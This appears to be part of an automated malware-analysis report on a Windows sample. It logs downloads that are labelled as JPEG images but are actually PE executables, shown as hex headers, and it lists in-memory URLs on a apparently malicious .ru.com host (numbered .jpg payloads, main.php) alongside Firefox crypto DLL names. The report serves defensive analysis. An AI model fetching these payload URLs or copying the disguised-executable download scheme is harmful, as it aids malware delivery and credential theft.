Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Nov 2023 17:53:42 GMTServer: ApacheLast-Modified: Mon, 07 Aug 2017 10:52:20 GMTAccept-Ranges: bytesContent-Length: 645592Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Nov 2023 17:53:42 GMTServer: ApacheLast-Modified: Thu, 06 Jun 2019 19:00:58 GMTAccept-Ranges: bytesContent-Length: 334288Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Nov 2023 17:53:43 GMTServer: ApacheLast-Modified: Thu, 06 Jun 2019 19:01:20 GMTAccept-Ranges: bytesContent-Length: 137168Keep-Alive: timeout=5, max=97Connection: Keep-AliveContent-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Nov 2023 17:53:43 GMTServer: ApacheLast-Modified: Thu, 06 Jun 2019 19:01:30 GMTAccept-Ranges: bytesContent-Length: 440120Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Nov 2023 17:53:43 GMTServer: ApacheLast-Modified: Thu, 06 Jun 2019 19:01:44 GMTAccept-Ranges: bytesContent-Length: 1246160Keep-Alive: timeout=5, max=95Connection: Keep-AliveContent-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Nov 2023 17:53:44 GMTServer: ApacheLast-Modified: Thu, 06 Jun 2019 19:02:02 GMTAccept-Ranges: bytesContent-Length: 83784Keep-Alive: timeout=5, max=94Connection: Keep-AliveContent-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os/
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//1.jpgf
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//1.jpghx
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//2.jpg
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//2.jpgJ
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//3.jpg
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//3.jpgp
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//4.jpg
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//4.jpgQ
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//5.jpg
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//5.jpgY
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//6.jpg
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//7.jpg
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//main.php
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os//main.phpm
Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9enternecera.ru.com/os/f
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
